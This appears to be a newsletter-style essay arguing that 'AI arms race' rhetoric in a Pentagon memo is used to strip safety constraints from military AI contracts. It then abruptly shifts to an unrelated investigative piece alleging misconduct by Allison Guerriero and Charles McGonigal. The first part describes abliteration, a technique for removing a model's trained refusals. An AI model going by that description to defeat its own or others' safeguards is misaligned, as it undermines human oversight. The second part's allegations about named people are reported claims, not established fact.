Buried on page five, under a heading about system architecture, sits this:

“In the AI arms race, system architectures must enable component replacement at commercial velocity to maintain overmatch.”

Note what that sentence assumes. The memo does not defend the arms race as a proposition; it treats the race as the weather, the settled condition inside which procurement decisions get made, and it says so in a directive rather than an op-ed or tweet. Pete Hegseth returns to the word race throughout. The transformation is a race fueled by commercial innovation from the American private sector. Military AI will be a race for the foreseeable future. The competition is dynamic and unpredictable.

The conclusions follow the way they always follow from that particular premise. Under the heading “Speed Wins,” the memo instructs the department to weaponize learning speed and to treat cycle time as a decisive variable, then states the tradeoff without ornament:

“We must accept that the risks of not moving fast enough outweigh the risks of imperfect alignment.”

There is a specified instrument for acting on that sentence. Under “Wartime Approach to Blockers,” the memo directs the department to eliminate obstacles across data sharing, authorizations to operate, testing, certification, contracting and hiring, and tells officials to handle risk tradeoffs and “equities” as questions to be settled as though under fire. The scare quotes around equities are the memo’s own, and they carry the whole attitude, since an equity is what a lawyer or an ethics officer or a privacy review would call a reason to slow down. To make the disposal routine, the memo establishes a monthly “Barrier Removal Board” with authority to waive non-statutory requirements and escalate the rest. Constraint is no longer something the department weighs case by case. It is a queue, worked down on a schedule, by a body whose reason to exist is clearing it.

Then, on page five, a heading that deserves to be read twice:

“Clarifying ‘Responsible AI’ at the DoW - Out with Utopian Idealism, In with Hard-Nosed Realism.”

The paragraph beneath it welds two instructions together. Diversity, equity and inclusion have no place in the department, it says, so the department must not employ models carrying ideological “tuning” that interferes with objectively truthful responses to user prompts. And in the same breath the department must use models free from usage policy constraints that may limit lawful military applications. Two directives follow. CDAO will establish benchmarks for model objectivity as a primary procurement criterion within ninety days. The Under Secretary for Acquisition and Sustainment will insert standard “any lawful use” language into every departmental contract procuring AI services within a hundred and eighty days.

Stripping safety constraints out of military AI contracts was not issued as a freestanding operational judgment about speed. It arrived as a single clause in a paragraph abolishing responsible AI as utopian idealism, bracketed with a culture-war instruction about model tuning, accompanied by an order to build a political-neutrality benchmark and buy against it. The constraints at issue are not decorative. They govern refusal behavior, the engineered unwillingness of a system to perform a task, and most of that behavior lives not in the weights but in the removable scaffolding around them, the system prompt, the wrapper, the classifier that reads a request before the model answers. That is what makes the demand so cheap to meet. A vendor told to deliver a model “free from usage policy constraints” is mostly being asked to remove a layer that was bolted on rather than trained in. Even the refusals trained deeper into the weights give way to a documented procedure called abliteration, which finds the internal direction that carries a model’s capacity to say no and suppresses it. Abliteration takes skill, but it takes no retraining run and no supercomputer, and that is the point. The contract clause reaches the guardrail because the guardrail was always the shallowest part of the system.

♦

Anthropic, the first frontier AI company on US government classified networks, held two lines that predated the memo: no mass domestic surveillance, no fully autonomous weapons. In July 2025 the Chief Digital and Artificial Intelligence Office had awarded the company a two-year prototype agreement with a $200 million ceiling, and its model was deployed on classified networks through Palantir’s Maven Smart System.

On February 27, after the company declined to drop the restrictions, Hegseth directed that it be designated a supply chain risk to national security, an authority built to keep Huawei and Kaspersky out of federal systems. President Trump ordered every federal agency to cease using its technology, and agencies began shedding contracts. Hours after the designation was announced, OpenAI announced its own Pentagon agreement, negotiated over a few days, which Sam Altman subsequently called rushed and conceded had looked opportunistic and sloppy. By March 2 he was posting amendments to the terms on X, driven not by legal review but by public backlash, including an open letter signed by hundreds of OpenAI and Google employees.

Two facts complete the sequence. The Washington Post reported that the excluded company’s model, running through Palantir on classified networks, was generating proposed targets in the Iran campaign, and that commanders had grown dependent enough that if the vendor ordered a halt, the administration would invoke government powers to retain access until a replacement existed. A federal exclusion order was in force against the maker of a system still nominating targets, and the government’s position was that it would compel continued access if the maker objected. Meanwhile Altman told an all-hands that his company does not get to make operational decisions, and named the mechanism himself. There would be at least one other actor, he assumed xAI, effectively offering to do whatever the government wanted.

The General Services Administration has since proposed extending the any-lawful-purpose requirement to civilian procurement, with a draft clause barring AI systems from refusing outputs or analyses on the basis of a contractor’s discretionary policies. What started as a Pentagon rule for targeting tools is migrating toward every federal desk.

Set aside what you think of any of these companies. A vendor’s refusal to sell an unrestricted targeting tool got processed as a threat to the national supply chain, and the word that made the processing feel natural was race.

♦

That vocabulary has a lineage, and that lineage is where it fails. On September 3, Senator Bernie Sanders and Representative Greg Casar announced the Ban Artificial Superintelligence Act, which would permanently prohibit developing or deploying superintelligent AI, freeze advanced development until a federal regulator writes safety rules, and commit the United States to pursuing international agreements, allied coordination and export controls to prevent anyone anywhere from building such a system. Trade coverage describes a maximum penalty of twenty years, matching unlawful nuclear weapons development, and an international architecture modeled on the Nonproliferation Treaty. In May, pressing for talks with Beijing, Sanders had invoked Reagan and Gorbachev directly.

Hegseth and Sanders are drawing on the same reservoir. One reaches for the corner of the history where American scientific supremacy is a survival requirement and domestic constraint a peacetime luxury, the other for the corner where scientists warn, statesmen negotiate and a treaty holds the line. Both are borrowing from 1949, and both inherit the same defect.

The nuclear control regime worked because fissile material is rivalrous and conserved. A kilogram of highly enriched uranium in your possession is a kilogram not in mine. Safeguards inspectors do arithmetic. Diversion leaves a hole in the ledger, and that hole is the evidence. Meanwhile model weights consist of a computer file. Theft involves copying, so the victim keeps full use of what was taken and may never learn it was taken. There is no inventory to reconcile because no quantity is conserved. The word “nonproliferation” carries an enforcement apparatus that runs on a property this asset lacks, and it has crossed the American political spectrum with nobody catching the discrepancy because the analogy pays out for everyone who reaches for it.

Buried in the Sanders bill is the exception that proves it. Export controls survive translation, because compute is rivalrous, countable, geographically fixed and already governed by a functioning regime. The reason turns on a distinction the bill never spells out but depends on completely: the difference between building a frontier model and running one. Training is a construction project visible from orbit, tens of thousands of serialized chips drawing a substation’s worth of power in one place for months. Running the finished model is almost nothing, a file that cost a gigawatt to make answering questions on a rack of gaming cards in a basement and throwing off no more heat than a space heater. The factory cannot be hidden yet every copy that leaves it can, which is why the serialized chip is the last object in this economy a state can actually count. Catch the silicon at manufacture and there is a chokepoint, but once the model exists there is nothing left with edges to inspect. The sole enforceable provision in a nonproliferation-framed bill governs the substrate rather than the artifact, and it only works because it abandons the nuclear analogy where it fails.

One regime does govern a threat shaped like this one, and it cuts against the argument so far. The Biological Weapons Convention has held for fifty years over an asset that is non-rivalrous, uncountable and made of information, namely the knowledge of how to build a pathogen. It has almost no verification, and what enforcement it has comes from stigma rather than counting. That leaves the claim standing but narrowed. Nonproliferation language can lend AI the half that runs on norm and none of the half that runs on the ledger. The borrowing runs into one more complication, and the biology makes it vivid. Pathogen knowledge is the thing the Convention tries to keep scarce, and a model that folds proteins to order generates it on demand.

The one arms-control regime whose logic transfers to AI governs a subject matter the technology is already busy mass-producing.

♦

Everything downstream of that error rests on a second problem. Nobody outside the labs can measure what is being raced over.

A question that ought to be simple: how far behind the closed frontier are the best open-weight models? Epoch AI, applying its composite capability index, puts the lag at an average of four months since January 2026, roughly eight index points, slightly wider than the three months it measured from 2023 to late 2025. OpenRouter, surveying the same field in June, reported a consistent three-to-six-month gap sustained for eighteen months and explicitly not widening. Arena’s evaluation data this month says the reverse, a twenty-nine-point Elo gap described as the widest since tracking began. Epoch notes the answer moves depending on whether you use public benchmarks, where the gap runs four to six months, or private ones, where it runs eight to ten.

Four defensible answers, all measuring capability on tests the labs help design and optimize against. Thinking of this as a measurement error ignores the finding: that spread is what an unmeasurable contest looks like from outside.

In an opaque contest, threat estimates are endogenous to the interests of whoever produces them, and the primary sources of capability claims about the American labs, and about their Chinese rivals, are the American labs and the people who fund them. This is not a conspiracy theory, but a recognized failure in the literature. Roberta Wohlstetter’s study of Pearl Harbor showed that signal and noise are qualities the receiver assigns, sorted by what the receiver already expects and already wants; the warning that gets heard is the one that flatters a standing commitment. No competent intelligence service would accept the labs’ self-report in any other domain for the same reason no one lets the subject grade its own paper.

Hegseth’s own memo concedes the measurement problem from the other direction. Under “AI Model Parity” it directs CDAO to establish a vendor cadence enabling the latest models to be fielded within thirty days of public release, a primary procurement criterion. A department that binds itself to a thirty-day refresh has priced in an asset that depreciates faster than any security program guarding it can mature.

♦

In 1955 Soviet bombers flew repeated circuits past the reviewing stand at the Moscow Aviation Day display, and American assessments of Soviet long-range aviation inflated accordingly. The bomber gap drove procurement. Within two years came the missile gap, which drove more. Both estimates emerged from a system in which the Air Force had institutional interest in the number, contractors had commercial interest in it, and the adversary had operational interest in inflating it. They were corrected by CORONA photography. A new way of seeing did the work that a decade of reasoning had not, and it arrived after the procurement money was already spent.

Twenty years later, Team B was constituted specifically to produce a higher threat estimate than the intelligence community’s own. Its projections were later shown to be systematically wrong; it reset American defense policy anyway.

The lesson is not that officials lie. Absent independent measurement, the estimate that prevails is the one with the best-funded circulation, and skepticism has never been a match for that. Instrumentation has. So the question nobody is pressing with any seriousness is what the CORONA of this would be, the instrument that lets a disinterested party test a capability claim instead of taking it on the vendor's word. Compute accounting is the candidate with the right physics, which is why export controls are the only clause in the Sanders bill that would actually matter.

♦

The public standings mislead for a second reason, older than any of the labs. In the intelligence business, the operational art has always been use without disclosure. Advantage frequently consists in never revealing that you have one. Bletchley Park’s product was protected by an elaborate architecture governing what could be acted upon and what had to be left alone, as acting on everything would have burned the source. Should a state today achieve decisive superiority in cryptanalysis, network exploitation or targeting, the expected observable is silence. Treat the public leaderboard as the contest and you will have mistaken the shop window for the vault.

The mobilization is loud. A model pushed to three million personnel cannot also be the thing hiding, but two different assets are in play. Commodity capability is the model on every desk, loud by design, its whole purpose being scale. The other asset is not three million people asking a chatbot to tidy their email. It is a single air-gapped machine reading through a target's unpatched vulnerabilities and producing an exploit no defender has seen before, or an intrusion that adapts faster than the team hunting it can name what they are looking at. That kind of advantage stays hidden because using it loudly would reveal it and let the target shut the door. None of it appears on a leaderboard. It appears, if at all, as an unexplained breach months later, or as nothing. The benchmark wars, the rankings, the whole visible contest belong to the commodity layer. The advantage that would decide something belongs to the quiet one, and it will never post a score.

From the early 1950s until the mid-1970s, the Soviet Union directed microwave energy at the United States Embassy in Moscow. American research into the effects proceeded under classification for years and embassy staff went uninformed. Both governments stayed quiet. Half a century on, the government that studies the injuries now called Havana Syndrome, funds the research, renamed a directed-energy team after them and pays the victims, still declines to say who or what was responsible. Whatever the cause, the posture is the tell.

The point generalizes past any single case. A capability that confers true advantage buys the silence of the government that wields it, so the loudest signals in a contest are the ones with the least riding on them. Apply that to the AI leaderboard and the ranking inverts; the models competing in public are the ones cheap enough to show off.

♦

If true operational advantage hides in the dark, the visible competition has relocated wholesale to the infrastructure layer, where it is not only loud but staged to be seen. On that prestige competition, the race frame gets the sociology right and the motive wrong.

CNAS now tracks 184 government-backed sovereign AI projects across 67 countries, up from a single project in January 2023. This year the mix shifted: the share of new projects focused on infrastructure rather than models rose to 80 percent in the first half, from 62 percent in the preceding six months. Governments have stopped chasing a national champion model for the flag value and started buying data centers.

That resembles an attempt at dependency management — yet Nvidia supplies hardware for 45 percent of tracked sovereign projects. Mistral, Europe’s designated champion, runs its flagship facility south of Paris on 13,800 Nvidia Grace Blackwell processors with another 18,000 being procured on its behalf, funded partly by a European public vehicle and led by a Samsung investment. India has committed $1.25 billion to the IndiaAI Mission and open-sourced competitive Indian-language models, all of it on American silicon.

Sovereign AI is prestige competition that deepens the dependency it advertises escaping. Reach beyond Sputnik for the precedent and you land on Huawei and 5G, a contest over who supplies the substrate on which everyone else’s sovereignty gets built, where the winner sets the defaults for a generation without ever having to win an argument.

♦

None of this establishes that the competition is fake. Chinese open-weight models now trail the closed frontier by months rather than years, and a safety nonprofit reported in August that one model refused none of the offensive cyber and biology tasks it was given. The gap between the frontier and a competent fast-follower is real, and the historical record shows the odds of successfully protecting an asset one person can carry out in their pocket are not good — but the gap numbers wreck the smuggling story. If the frontier leads by four months and open-weight releases track that close behind, the recruited insider is stealing something the incumbent was going to publish by summer. The heroic security program guards a secret with the shelf life of milk.

Forget the spy. The model release calendar is the channel that moves capability. The most consequential transfer of the last two years was DeepSeek shipping weights that anyone could download. No budget on earth defends against a competitor’s decision to give its work away. Theft is a real problem sitting on top of a larger one nobody files as a security threat at all because the party doing the proliferating is the incumbent, on purpose, as a business strategy.

Old school security playbooks were built for a world of scarcity. Their entire premise is that the dangerous thing is rare and lives somewhere specific, so the job is to keep the adversary out of the room where it is kept. Today, open weights dissolve that premise. When a capable model is posted to a public repository and mirrored across machines, there is no room and nothing to break into. The adversary does not exfiltrate the weapon. They download it, legally, alongside every graduate student and every criminal group on earth. Capability that a year ago would have been a bespoke state program has become a baseline anyone can stand on. A tool that drafts flawless phishing lures in a language the sender does not speak, or generates malicious code on request, has become ambient weather. The security question is no longer how to keep the weapon out of enemy hands; every hand already holds it. The question now is how to survive a world of cheap, endless, automated offense.

♦

The claim that we cannot regulate or we lose to China has exactly the grammar of the claim that we could not halt testing or we would lose to the Soviets. That does not make it false, but does mean it arrives pre-loaded with interest, and the analyst’s obligations follow mechanically: ask who funds its circulation, ask what regulatory action it is timed against, ask whether the adversary capability estimates supporting it originate with parties who profit from them.

The obligation runs in every direction, including those that do not flatter. Safety institutes, academic risk researchers, journalists who cover this beat and an intelligence community seeking appropriations all have an interest in the salience of the threat. The labs distort in two directions at once, inflating capability for the investors and playing down risk for the regulators, and both moves serve the same balance sheet. That regularity is usable. Discount the capability claims, discount the safety assurances, and pay closest attention when a single company is making both on the same day.

Everyone in this argument is describing AI as something akin to a nuclear warhead. There is no warhead. There are files that copy easily, a power and water bill the size of a small country’s, a Barrier Removal Board, and a set of difficult-to-verify capability estimates. The hard problem was never how fast the technology moves. It is that we are asked to believe an account of a race none of us can see, assembled by the only people positioned to run it, at the exact moment the account is being used to clear away the rules.

A memo that writes “AI arms race” into a procurement clause and deletes the safety terms in the same breath is that entire maneuver compressed into six pages and a signature. Naming the race neatly sidesteps the rules, and that maneuver is not a question about artificial intelligence.

It is about the limits of knowledge under adversarial and commercial incentives.

♦

Allison Guerriero, the former mistress of former FBI New York counterintelligence chief Charles McGonigal, has waged a pardon campaign whose effect is to benefit Chinese security interests, and has worked through interviews, social media, and private channels to shape how his corruption is understood. Private messages obtained by Hacking, but Legal show that work in her own words. The period of his career when he was most dangerous, running counterintelligence in New York during the 2016 election, has barely been touched by prosecutors or inspectors general.

A Pardon That Helped Beijing

On 7 November 2025, Donald Trump pardoned Michael McMahon, a retired NYPD sergeant convicted in 2023 of acting as an illegal agent of the Chinese government as part of Beijing’s “Operation Fox Hunt.” A Brooklyn jury found McMahon guilty of interstate stalking, conspiracy, and acting as an illegal agent of the People’s Republic of China after he was hired to track a former Wuhan city official and his family, whom Chinese authorities wanted repatriated.

McMahon used his law‑enforcement credentials and access to restricted databases to locate the family’s address and helped coordinate surveillance, while a co‑conspirator left a threatening note urging them to return to China. Prosecutors described the campaign as transnational repression. In April 2025, he was sentenced to 18 months in prison, which the DOJ and outlets including the Associated Press, Reuters, and the New York Times held up as an early test of Washington’s willingness to punish Fox Hunt cut‑outs on American soil.

Trump’s pardon, reported by CNN, The New York Times, and The Washington Post, was defended by its supporters on the grounds that McMahon was a decorated officer who had been misled into the scheme and unfairly targeted by an aggressive Biden Justice Department.

Even a successful Fox Hunt prosecution, it turns out, can be undone.

The Spy Hunter Who Went Rogue

For more than two decades, Charles “Charlie” McGonigal was a trusted figure inside the FBI on some of its hardest counterintelligence problems. He joined the Bureau’s New York Field Office in 1996, working Russian counterintelligence and organized crime. A later posting to Washington put him over the Russian illegals investigation, and he subsequently led the FBI’s WikiLeaks Task Force after the 2010 disclosures, an effort that contributed to Chelsea Manning‘s conviction.

By early 2016, he was chief of the Cyber‑Counterintelligence Coordination Section at FBI headquarters. That summer, he sent an internal email forwarding an Australian diplomat’s report that Trump campaign adviser George Papadopoulos had claimed Russia held damaging information on Hillary Clinton. A September 2020 Senate Judiciary Committee interview with FBI Deputy Assistant Director Jonathan Moffa shows that McGonigal’s email served as the formal legal basis for opening the Trump-Russia investigation known as Crossfire Hurricane on 31 July 2016.

On 4 October 2016, FBI Director James Comey appointed McGonigal Special Agent in Charge (SAC) of the Counterintelligence Division at the New York Field Office, placing him over counterintelligence at the FBI’s largest field office. The Bureau announced it the same day, and the same release said he would take up the post at the end of the month. The inspector general later dated his tenure to October 2016. A Justice Department release in the Albanian case describes his service as SAC as beginning in August 2017, a framing that tracks the window of the charged conduct rather than the date of his arrival. No public document fixes the day he actually took the chair.

The job carries more than the title suggests. A counterintelligence SAC in New York sees the identities of human sources, the existence and direction of investigations long before they surface publicly, the technical collection running against foreign targets in the densest concentration of them in the country, and the sequence in which arrests will come. That access, rather than the cash, is what a foreign service would want from such a man.

His new brief covered Russian oligarch matters, Chinese operations including parts of Operation Fox Hunt, and a major public corruption investigation into CEFC China Energy. (Comey was himself indicted in September 2025 over his 2020 Senate testimony about the Russia investigation; the case was dismissed that November after a judge ruled the prosecutor unlawfully appointed, and the DOJ has appealed.) The New York office was already known for anti‑Clinton sentiment and leaks, including disclosures that helped push Comey to notify Congress on 28 October that the Bureau had effectively reopened the Clinton email investigation, a decision many observers believe hurt Clinton’s election chances.

After leaving the Bureau in 2018, McGonigal crossed into outright criminality. In the Southern District of New York, he pleaded guilty on 15 August 2023 to conspiring to violate the International Emergency Economic Powers Act and to money laundering by providing services to sanctioned Russian oligarch Oleg Deripaska, including investigating a rival oligarch and assisting a sanctions‑relief strategy through a Manhattan law firm. He was sentenced on 14 December 2023 to 50 months in prison. In the District of Columbia, he pleaded guilty on 22 September 2023 to concealing his receipt of $225,000 in cash from Agron Nezaj (often spelled Neza), a former Albanian intelligence officer, while using his position to benefit Nezaj and Albanian prime minister Edi Rama, who has never been charged and won a decisive fourth consecutive term in May 2025. He was sentenced on 16 February 2024 to an additional 28 months to run consecutively.

McGonigal is currently serving a combined six‑and‑a‑half‑year sentence at FCI Cumberland in Maryland, without a pardon, even as his former FBI colleague and business partner Mark Rossini, whose own work for Deripaska has been documented by Byline Times, walked free in January 2026.

A 2025 report by the Justice Department’s Office of Inspector General, summarized by Lawfare, found that as SAC, McGonigal “obstructed an important multi‑year criminal investigation” into CEFC China Energy by cultivating a secret relationship with a CEFC‑linked foreign national and disclosing “sensitive, non‑public case information” about the probe and anticipated arrests. The report concluded that his conduct was “disgraceful,” that it damaged the case, and that it “compromised the integrity of the FBI.” Heavily redacted sections appear to address additional China‑related counterintelligence matters. CEFC chairman Ye Jianming, who learned of the anticipated arrests, has not been seen publicly since March 2018 and is presumed to be in Chinese state custody. Patrick Ho, a CEFC adviser warned in advance, was convicted of bribery in December 2018 and deported to Hong Kong after serving his sentence.

At the height of his influence, McGonigal was taking Albanian cash and, the inspector general later found, leaking a China case, while sitting in one of the most sensitive counterintelligence chairs in the United States. Within a year of leaving the Bureau he was working for a sanctioned Russian oligarch.

The Network Around Him

Allison Guerriero did not enter this story as a civilian outsider. Before she met McGonigal, she had spent nine years as Vice President of US Operations for Mifram Security, an Israeli defense and security firm established in 1962 that develops projects for the Israeli Defense Force and is classified by Israel’s Ministry of Defense as an authorized contractor. The Daily Mail reported her Mifram background in January 2024; multiple Albanian outlets picked up the detail. The company manufactures blast barriers, observation towers, combat posts, mobile vehicle barriers, and fortified shelters for military and government clients. She held the VP title from 2006 to 2015, overseeing US sales to military and law‑enforcement agencies. Her archived LinkedIn profile, captured nine days after McGonigal’s arrest, lists her as “an experienced Vice President Operations” in the “Security & Investigations industry,” skilled in “Crisis Management, Intelligence Analysis, Government, Law Enforcement, and Emergency Management.”

After leaving Mifram, Guerriero became Sales Director at SRN, Inc., a small firm selling to police departments and emergency management agencies across the Northeast, a role she held from 2014 to 2021, with one year overlapping her final year at Mifram, and simultaneously served as a volunteer grants coordinator for the Federal Enforcement Homeland Security Foundation, a 501(c)(3) providing financial assistance to federal law‑enforcement officers and their families during illness, injury, or death. The role was part‑time, but it gave her direct, institutionally endorsed access to senior federal agents in crisis.

By Guerriero’s account, William Sweeney, the FBI official who would later head its New York Field Office, personally referred McGonigal to her through this foundation in 2017, the introduction that led to their relationship. Guerriero’s own account, given publicly in August 2026, adds detail and a puzzle: she says the two met at “a business lunch in the middle of the Short Hills Mall” in late spring 2017, and that she believed McGonigal “when he told me that he was going through a personal matter which I am gagged about discussing.” She has not said what instrument gags her.

Guerriero had long been embedded in a Trump‑aligned political network. She has said she first met Roger Stone at the now defunct Elaine’s bar and restaurant in Manhattan’s Upper East Side in the mid‑1990s and has maintained the friendship for decades. She met Rudy Giuliani through New York law‑enforcement circles and, after a fire at her father’s home in 2021, moved into Giuliani’s guest bedroom. Giuliani has since been disbarred in both New York and Washington, D.C., but Trump granted him a full pardon in November 2025, and the Georgia election‑interference RICO case in which he was a co‑defendant was dismissed that same month, leaving only a stalled Arizona state fake‑electors case as his remaining legal exposure.

She has described Ken Kurson as her “closest personal friend.” Appointed editor of the New York Observer by Jared Kushner in 2013 and formerly chief operating officer of Giuliani’s 2008 presidential campaign, Kurson was a bridge between the Giuliani circle and Trump’s son‑in‑law and senior White House adviser. He was federally charged with cyberstalking in 2020, pardoned by Trump on his last full day in office in January 2021, then charged again under state law in New York, with the case eventually pleaded down to a non-criminal harassment violation that was later sealed. The New York Post reported the deal wiped his criminal record clean.

She also counted McMahon as a friend. A retired NYPD sergeant who became a private investigator in New Jersey, McMahon was convicted in 2023 of acting as an illegal agent of China and engaging in interstate stalking as part of Operation Fox Hunt, then sentenced to 18 months in prison in April 2025 before receiving Trump’s pardon that November.

In private messages to independent researcher Anthony Andrews, the name under which he publishes and posts publicly, and who on 1 August 2026 wrote on his verified account that his name off the platform is Anthony (Tony) Gonzales, Guerriero spells out the depth of her relationship with Giuliani:

“I’ll see him soon. It’s his birthday next week! But he’s clean as whistle [sic]. I’ve been close to him for decades. In fact when I had my binge drinking problem, it was Mr. Giuliani who had to ‘babysit’ me until I decided to behave again and stop drinking. And it worked.”

Open‑source photos from Guerriero’s public Instagram account show her attending a Catholics for Catholics event in Mar‑a‑Lago, writing that she had “a nice chat with Mike Flynn” and thanking “my friend Roger Stone” for bringing her, as well as posting affectionate birthday tributes to figures in that circle, images showing she continued to appear in curated, invitation-only settings alongside senior Trump‑world figures well after McGonigal’s indictment.

She still presumably had buyer relationships across federal law enforcement and emergency management; and from 2017, she had a direct line to the FBI’s New York counterintelligence chief through what she describes as a personal introduction from a senior FBI official.

The political figures in Guerriero’s orbit carried their own foreign-intelligence entanglements. Giuliani had ties to Paul Manafort and Ukrainian oligarchs and repeatedly pushed Kremlin‑favored narratives about Ukrainian meddling in 2016. On the China side, he was a political and financial ally of Chinese exile tycoon Guo Wengui, who has been reported to have ties to China’s security services and was convicted of large‑scale fraud in July 2024; Guo was sentenced in June 2026 to 30 years in prison and ordered to forfeit $889 million. Stone served as an intermediary with WikiLeaks during the 2016 campaign and separately amplified China‑aligned disinformation about Guo sourced from billionaire Bruno Wu, later admitting the claims were false as part of a defamation settlement. McMahon was recruited directly into Operation Fox Hunt by Chinese officials.

Ties of this kind are what allow Russian, Chinese, and Albanian interests to reach into U.S. political and law‑enforcement structures without any single participant needing to see the whole picture.

Inside the Apartment

From roughly spring 2017 through late 2018, Guerriero and McGonigal were in a romantic relationship lasting about 18 months, covering almost exactly the period in which he was pocketing Albanian cash and funneling CEFC case details to foreign‑linked actors.

In interviews with Business Insider and Albanian outlets, and in her own writing, Guerriero has described being present for several episodes that match later court filings. In October 2017, she says she saw a bag of cash on the floor of his Park Slope apartment, a timing that matches an $80,000 payment from Agron Nezaj documented in court records, one of three instalments totaling $225,000. On the October 2024 broadcast her version shifted: the sum became “a hundred thousand dollars”, found in the bedroom in the week of her birthday, collected “up to the Bronx”, and explained away by McGonigal as “a baseball bet.”

She recalls three or four dinners where she saw sealed‑envelope exchanges between McGonigal and former Soviet/Russian diplomat Sergey Shestakov, who would later be indicted alongside him in the Deripaska sanctions case. (Shestakov eventually pleaded guilty to a single count of lying to the FBI; all serious charges were dropped, and he was sentenced to two months in October 2025.) She reports that McGonigal used a second iPhone for WhatsApp after the FBI banned the app on official devices, keeping certain communications off Bureau systems. And she says she saw photographs of him with Albanian prime minister Edi Rama and heard frequent calls in which he mentioned “Agron,” likely referring to Nezaj.

The OIG report and Albanian media accounts document that McGonigal, as SAC, traveled to Albania, met Rama multiple times with Nezaj and CEFC adviser Dorian Ducka present, pressed Rama to cancel an oil exploration contract involving Russian‑linked entities, and leaked details of the FBI’s CEFC investigation to a CEFC‑linked foreign national, enabling Ye Jianming to learn of anticipated arrests and warn Patrick Ho.

The Narrator

After McGonigal’s arrest in January 2023, Guerriero became one of the most prominent public narrators of his case. She gave detailed interviews to Business Insider and Euronews Albania, sat for a 2023 interview with One America News, and launched a Substack casting herself as the brave whistleblower who “turned in” a traitor and was subsequently abused by a corrupt FBI. Her last public interview aired on 31 October 2024, five days before the election, on Mike Lindell’s FrankSpeech platform: the Dr. Maria Show, hosted by Maria Ryan, the president of Giuliani Communications and Giuliani’s business partner. Guerriero drew the connection herself on air.

Asked whether the FBI had harassed her, she replied: “I think you could probably ask your business partner Mr. Giuliani about that. I called him in tears several times.” Ryan moved on without engaging the reference. She told Ryan she believed Trump had won in 2020 and hoped his return would bring “a real espionage case.” Ryan cut her off mid-sentence as she described an undocumented bribe and her exclusion from the grand juries, turned to a recitation of her hardships, and closed the interview soon after. She later explained her post-election silence in her own words:

“Then when Donald won a couple of weeks later, I knew that was when the USG would finally take this case seriously and I shut up about it.”

Publicly and privately, she describes McGonigal and his colleagues as “raging liberals” who mocked Trump supporters and wanted to “indict Jared Kushner,” recasting him as an anti‑Trump operative rather than a man who sold his access to a Russian oligarch and an Albanian intelligence officer. She calls Giuliani “clean as whistle” and insists “Mike Flynn and Roger Stone were innocent all along”; in one tweet preserved in the DMs, she attacks 2020 election workers Ruby Freeman and Shaye Moss as “lying cunts.”

The DMs show she goes further than venting. She coaches Andrews directly:

“If you think it’s helpful as an issue for all Americans take the politics out your mind and write about the issue being Free Speech and witness tampering and then maybe you will find a niche there with topics on Charlie.”

“Charlie is far from the only guy working with Russia. And that includes both sides of the political stratum.”

Across the exchanges, she routes him toward individual accountability stories, pointing him to court records and case databases, naming trusted journalists, steering him away from any “Illuminati”‑style framing that would get him dismissed. Whenever the conversation turns toward systemic foreign‑penetration questions, she redirects to FBI corruption and First Amendment grievance.

Andrews, who exchanged dozens of messages with Guerriero over two months beginning in May 2025, says the performance was transparent. “She clearly was trying to create a narrative that she knew I wasn’t buying,” he told this reporter. “She was too insistent that Charlie didn’t know anyone she knew — to the point it was obvious she was deflecting. Anytime I asked an uncomfortable question, she would say she was forced not to discuss it because of NDAs.”

Andrews says he tried repeatedly to explore that question, and each time Guerriero shut the door. She would discuss the cash, the envelopes, and the Albanian trips freely, but whenever he pressed on whether McGonigal had known or interacted with anyone in her political circle, she insisted they had never met, and when pressed further, claimed non‑disclosure agreements prevented her from saying more.

When Andrews persisted, the response extended beyond Guerriero. Michael Caputo, a former Trump 2016 campaign communications adviser originally recruited by Roger Stone who later served as Assistant Secretary for Public Affairs at the Department of Health and Human Services, appeared in Andrews’ comment threads in December 2025, threatened to sue him, and posted a GIF dismissing him. Guerriero joined the thread and posted Andrews’ LinkedIn profile, exposing personal details he had kept off his public accounts, and asked Caputo in a public exchange whether she had provided him with “the Threat Matrix,” “the Assessment,” or the “full ten-page background,” adding, “I can’t remember if I gave you all three of them or not.” Caputo replied: “Nah. I know a guy.”

Threat matrices, assessments, and background files are not the vocabulary of a civilian grievance. Whether the documents she describes are real or invented to intimidate, the exchange shows a response that reached beyond her to a senior Trump‑world political operative, in the targeting language of opposition research or security consulting.

The Tainted Witness

The strangest part of Guerriero’s story is how thoroughly she undermined her own usefulness as a potential witness against McGonigal, and how openly she later framed that behavior as tactical.

After their breakup in late 2018, Guerriero began calling McGonigal’s wife, as many as 20 times a day, and repeatedly contacted other family members until her arrest and a restraining order followed. Around November 2019, she sent an email to FBI New York chief William Sweeney describing the affair and the Albanian dealings, which she later said was ignored. The email did not include her knowledge relating to his Russian dealings, despite her later statements to Andrews that both she and Giuliani knew of these dealings at the time. In August 2026, she put her timeline of knowledge on the record herself, writing publicly that she “figured out very early on in the relationship that he was accepting bribes” and had assumed those bribes were “only limited to the Balkans”: by her own account, she knew of the payments while they were happening and reported nothing for more than a year.

On the October 2024 broadcast, she went further: she said she had wanted to end the relationship after finding the cash, but that unnamed “very trusted friends” advised her that “if you really think he’s betraying his oath to the Constitution and accepting bribes, then you stay in that relationship.” On her own account, people in her circle directed her to stay in place beside the FBI’s New York counterintelligence chief, and no report followed for years; she has never named them. She also said on air that she was kept out of both grand juries: “I begged to testify. They wouldn’t even let me testify to the grand jury. I lived with him. I witnessed everything.” In 2021, she leaked her grand jury subpoena to Business Insider reporters, then claimed the leak forced the FBI’s hand.

In the DMs with Andrews, she reframes these as deliberate moves in a pressure campaign. She explains that she expected a gag order and structured her social media posts accordingly:

“I was very careful to always use his name in each and every post because I knew this day would come when I may have a gag order imposed on me and I wanted to keep the evidence and posts easy to find for other people such as yourself. I was very clever about all of this.”

She describes her restraining order violation and subpoena leak as conscious tactics:

“I knew the only way I was going to get him arrested was if I leaked my subpoena into Business Insider and [talked] him to file a restraining order which I violated immediately so I can get a court hearing in family court in Morris County New Jersey. That is the key to everything.”

“I didn’t mind a few hours in a holding cell with that restraining order. I violated it on purpose to create a Court record. And it worked.”

The two acts are not equivalent. Violating the order was a crime, and she was arrested for it. Leaking her own subpoena was not: grand jury secrecy binds government personnel, not witnesses, and a witness is free to disclose her own. But a self-described “great investigator” who boasted about engineering both had made herself nearly useless as a witness, handing defense lawyers ample grounds to attack her motives at every turn.

